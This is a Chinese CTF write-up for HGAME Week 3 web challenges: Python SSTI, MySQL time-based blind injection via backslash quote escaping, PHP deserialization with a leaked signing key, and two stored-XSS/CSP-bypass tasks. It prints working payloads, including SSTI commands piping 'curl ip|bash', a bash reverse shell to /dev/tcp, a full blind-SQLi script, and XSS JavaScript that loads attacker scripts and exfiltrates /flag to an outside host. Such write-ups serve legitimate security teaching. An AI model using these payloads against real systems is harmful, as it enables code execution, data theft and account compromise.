作者:wh1sper@星盟

Level – Week3

Forgetful

考点:简单python-SSTI

题目是一个记事本,添加描述的时候存在SSTI,在查看页面可以看到SSTI已经成功了:

最为常规的payload:

{{[].__class__.__mro__[1].__subclasses__()}}
{{[].__class__.__mro__[1].__subclasses__()[167].__init__.__globals__.__builtins__.__import__('os').popen('ls /').read()}}
{{[].__class__.__mro__[1].__subclasses__()[167].__init__.__globals__.__builtins__.__import__('os').popen('curl ip|bash').read()}} 

因为命令执行处有waf,所以可以选择直接弹shell:

nc -lvnp 8888 bash -i >& /dev/tcp/ip/8888 0>&1 

姿势还是比较常规;

分享一个从[].__class__.__mro__[1].__subclasses__()查找模块位置的脚本:

#python 3 import re
str = '''
[回显内容]
''' list = re.split(',', str) for i in range(0, len(list)): if 'catch_warnings' in list[i]:
            print(i) break 

iki-Jail

考点:MySQL注入,单引号逃逸

熟悉的登录框,熟悉的sql注入

发现用户字段必须要邮箱才可以,而且如果开了Burp抓包之后会出现一些问题,导致Ajax不能工作。

于是直接使用bp对login.php发包;

进行了简单的fuzz,过滤如下:

由单双引号过滤想到了\逃逸单引号,当我们用户名输入admin\的时候,语句变成了:

SELECT * FROM user WHERE username='admin\' AND password='xxx' 

那么xxx就变成了sql语句执行,造成了注入;

结果发现只能延时注入:

exp:

#python3,wh1sper import requests import time

host = 'https://jailbreak.liki.link/login.php' def mid(bot, top): return (int)(0.5*(top+bot)) def transToHex(flag): res = '' for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x', '') return res def sqli(): name = '' for j in range(1, 200):
        top = 126 bot = 32 while top > bot:
            babyselect = '(database())'#week3sqli babyselect = "(select group_concat(table_name) from information_schema.TABLES where table_schema like database())"#u5ers babyselect = "(select group_concat(column_name) from information_schema.columns where table_name like 0x7535657273)"#usern@me,p@ssword babyselect = "(select `p@ssword` from week3sqli.u5ers)"#sOme7hiNgseCretw4sHidd3n babyselect = "(select `usern@me` from week3sqli.u5ers)"#admin payload = "^(if((ascii(substr({},{},1))>{}),1,sleep(2)))#".format(babyselect, j, mid(bot, top))
            data = { "username": "admin\\", "password": payload.replace(' ', '/**/') #^(if((ascii(1)>55),sleep(3),sleep(3)))#这个确实延时成功了 } try:
                start = time.time()
                r = requests.post(url=host, data=data)
                print(data)
                print(time.time()-start) if time.time()-start < 1.5:
                    bot = mid(bot, top) + 1 else:
                    top = mid(bot, top) except: continue name += chr(top)
        print(name) if __name__ == '__main__':
    sqli() #hgame{7imeB4se_injeCti0n+hiDe~th3^5ecRets} 

hgame{7imeB4se_injeCti0n+hiDe~th3^5ecRets}

Arknights

考点:PHP反序列化

题目是一个类似于抽卡的网站,描述里面说”r4u用git部署到了自己的服务器上”,那么自然而然Githack把源码hack下来。

source.zip

simulator.php我们可以看到有很多类,其中第146行

class Eeeeeeevallllllll{ public $msg="坏坏liki到此一游"; public function __destruct() { echo $this->msg;
    }
} 

有一个echo操作,那么我们全局搜索__toString。第93行:

class CardsPool{
    …… public function __toString(){ return file_get_contents($this->file);
    }
} 

pop链很明确,就看如何触发反序列化了。

第137行Session::extract():

public function extract($session){

        $sess_array = explode(".", $session);
        $data = base64_decode($sess_array[0]);
        $sign = base64_decode($sess_array[1]); if($sign === md5($data . self::secret_key)){ $this->sessiondata = unserialize($data);
        }else{ unset($this->sessiondata); die("go away! you hacker!");
        } 

他会把session的.前面的内容反序列化,并且会做一个加盐的判断,但是密钥在103行已经给了

const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9"; 

那么我们可以编写一个exp:

<?php class Eeeeeeevallllllll { public $msg = 'a';

} class CardsPool { public $cards; private $file = 'flag.php';

}

$pop = new Eeeeeeevallllllll();
$pop->msg = new CardsPool(); //echo serialize($pop); $key = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";
$sign = md5(serialize($pop).$key);
$payload = base64_encode(serialize($pop)).'.'.base64_encode($sign); echo $payload; /*
$sess_array = explode(".", $payload);
$data = base64_decode($sess_array[0]);
echo $data,"\n";
$sign = base64_decode($sess_array[1]);
echo $sign,"\n";
if($sign === md5($data . $key)){
    unserialize($data);
}else{
    echo $sign;
    die("go away! you hacker!");
}
*/ 

发送session即可得到flag

Post to zuckonit2.0

考点:XSS

网站是一个创建笔记的站点,存在XSS漏洞

/static/www.zip给了源码:source.zip

和week2的XSS比起来多一个功能,可以替换批量字符串,并且在/preview查看替换的结果

审计源码,在添加留言的存在一个waf:

跟进函数:

def escape_index(original): content = original
    content_iframe = re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)#只留src属性 if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content): return content_iframe else:
        content = re.sub(r"<*/?(.*?)>?", r"\1", content) return content 

可以看到只允许我们添加类似于<iframe src="xxx" rel="external nofollow" >的标签,并且xxx限制在1-8位,显然没办法直接执行JS。

不过我们可以添加<iframe src="/preview " rel="external nofollow" >来使得index能直接看到/preview页面:

再通过字符串替换功能,把xxx换成javascript:xxxxx,形成<iframe src='javascript:alter(1)'>即可XSS

payload:

javascript:document.write(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly9pcC9teWpzL2Nvb2tpZS5qcyI+PC9zY3JpcHQ+')); 

小手一抖,cookie到手:

hgame{simple_csp_bypass&a_small_mistake_on_the_replace_function}

Post to zuckonit another version

考点:XSS,HttpOnly绕过

说是绕HttpOnly,实则并没有绕;

相比于上一道XSS:

  1. 增加了HttpOnly,使得我们直接用js不能直接获取到本地cookie;
  2. 修改了功能,把直接替换字符串换成了查找字符串

依然在static/www.zip给出了源码:source.zip

源码大同小异,甚至连waf都没变,单独在字符串替换功能上修改为正则匹配并且在两端加<b>标签,得到高亮效果

如果按照正常思维来查找’a’字符串的话,效果就如下图:

但是我们应当注意到,这个高亮实际上还是由String.prototype.replace()方法来进行正则替换的,那么我们如果输入.*之类的关键词进行高亮就会出现意想不到的效果:

没错,因为正则替换让我们得以有机可乘

思路还是一样,先利用替换构造好XSS,再利用<iframe src='/preview'>来触发0-click

payload:

<iframe src='/preview'> <iframe src='AAA' > 

替换的payload:

AAA('srcdoc='&lt;img src=1 onerror=document.write(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly9pcC9teWpzL0J5cGFzc19IVFRQX09ubHkuanMiPjwvc2NyaXB0Pg=='));&gt;')* 

替换之后其实是这样:

实际上是利用了iframe标签的srcdoc属性和HTML实体编码来绕过

<iframe src="<b class=&quot;search_result&quot;>AAA(" srcdoc="<img src=1 onerror=document.write(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly9pcC9teWpzL0J5cGFzc19IVFRQX09ubHkuanMiPjwvc2NyaXB0Pg=='));>" )*<="" b="">' ></iframe> 

结果一目了然;

而iframe里面<script>指向的JS:

xmlhttp = new XMLHttpRequest(); //是否能跨域 xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4) {
        location.href = 'http://ip/?cookie=' + btoa(xmlhttp.responseText) //得用btoa()进行base64编码,不然flag会很神必 //尝试getAllResponseHeaders()不行,因为HttpOnly的Set-Cookie头不适用 }
}; //设置连接信息 //第一个参数表示http的请求方式,支持所有http的请求方式,主要使用get和post //第二个参数表示请求的url地址,get方式请求的参数也在url中 //第三个参数表示采用异步还是同步方式交互,true表示异步 xmlhttp.open('GET', '/flag', true); //4.发送数据,开始和服务器端进行交互 //同步方式下,send这句话会在服务器段数据回来后才执行完 //异步方式下,send这句话会立即完成执行 xmlhttp.send(''); 

不能绕HttpOnly来获取cookie,但是我们可以直接让admin请求/flag,把responseText发给我们就行了;

这个是本地打的结果:

大手一抖,flag到手:

因为flag里面出题人故意放了&字符让我们踩坑,打出来的responseText需要base64编码。

下面这个才对。